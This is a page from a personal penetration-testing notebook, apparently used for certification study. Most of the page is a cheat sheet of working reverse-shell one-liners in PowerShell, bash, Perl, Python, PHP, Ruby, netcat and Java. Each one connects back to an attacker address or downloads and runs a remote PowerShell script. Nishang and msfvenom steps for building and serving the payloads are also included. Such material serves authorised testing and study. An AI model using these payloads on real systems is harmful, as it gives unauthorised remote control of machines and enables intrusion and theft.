refabr1k's Pentest Notebook
  • refabr1k's Pentest Notebook
  • Steganography
  • Kali USB with persistence memory
  • useful tools
  • Understanding ICACLS permissions
  • INFO GATHERING
    • Port Knocking
    • 22 tcp - SSH
      • SSH Tunneling
    • 25 tcp - SMTP
    • 53 tcp/udp - DNS
    • 88 tcp - Kerberos
    • 161 udp - SNMP
    • 445 tcp - SMB
    • 1098,1099 tcp - Java RMI
    • 8009 tcp - AJP
    • 5901,5902 tcp - VNC
  • Web
    • XSS cookie stealing
    • PHP
    • Webdav
    • Wordpress
    • XML RPC
    • SQL Injection
    • SSRF
  • EXPLOITATION
    • File Transfers
    • Buffer Overflow
    • Bruteforce
      • Hashcat
      • Ophcrack (rainbow tables)
      • John The Ripper
    • PHP rce
    • Compiling
    • msfvenom
    • Reverse shell
    • Using ENV to escape Bad Characters
    • shellshock
    • Ncat Persistent Backdoor
  • PRIVESC - LINUX
    • Basic checks
    • Upgrading Shells
    • SUID
  • Privesc - Windows
    • Basic checks / powershell
    • Privesc Openings
    • LonelyPotato - SeImpersonatePrivilege
    • Enable RDP @ Firewall
    • NTLM (Pass The Hash)
  • Windows
    • NTDS.dit
    • Responder / SMB Relay
    • Attacking AD
      • AD Hacking Lab Setup
  • Metasploit
    • Basic Usage
    • Meterpreter
      • Pivoting
      • Windows Post Exploitation
  • Unsorted
    • other notes
  • eLearnSecurity eJPT
    • eJPT notes
  • OSWP
  • Getting started
  • WEP Attacks
    • WEP Attack (OPEN) - Clients connected
    • WEP Attack (OPEN) - Clientless
    • WEP Attack (SKA)
  • WPA/WPA2 Attacks
  • Scripts
    • get port from nmap
    • Curl response
    • ping sweep
    • iptables-counter.sh
    • (DNS) zonetransfer_check.sh
    • (DNS) dns-rev-brute.sh
    • (DNS) dns-fwd-brute.sh
    • (SMB) vuln-scan.sh
    • (SMB) samba-checker.sh
    • (SMTP) vrfy.py
    • (SNMP) mib-check.sh
  • Zeroday vulnerabilities explained
    • 2020-12 Solarwind supply chain
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On this page
  • Powershell
  • Bash/Shell
  • Perl
  • Python
  • PHP
  • Ruby
  • Netcat / Netcat without -e
  • Java
  • JENKINS Script Console
  • Nishang Powershell

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  1. EXPLOITATION

Reverse shell

Powershell

// Edit and host nishang Invoke-PowershellTcp
Powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.32/shell.ps1)

// using powershell.exe os bit architecture
C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.32/shell.ps1)

Bash/Shell

# bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

# /bin/bash
/bin/bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

# sh
sh -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

# This code assumes that the TCP connection uses file descriptor 3.  If doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat / Netcat without -e

# sh
nc -e /bin/sh 10.0.0.1 1234

# bash
nc -e /bin/bash 10.0.0.1 1234

#Netcat without -e
rm /tmp/2;mkfifo /tmp/2;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/2

#Netcat without -e (FREEBSD ONLY!)
rm /tmp/2;mkfifo /tmp/2;cat /tmp/f|/bin/sh -i |nc 10.0.0.1 1234 >/tmp/2

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

JENKINS Script Console

Jenkins > Manage Jenkins > script console

Nishang Powershell


msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.14.32/Hacked')\""

vim nishang/Shells/Invoke-PowerShellTcp.ps1 

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.32 -Port 4567

cp Invoke-PowerShellTcp.ps1 Hacked

python -m SimpleHttpServer 80
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Last updated 4 years ago

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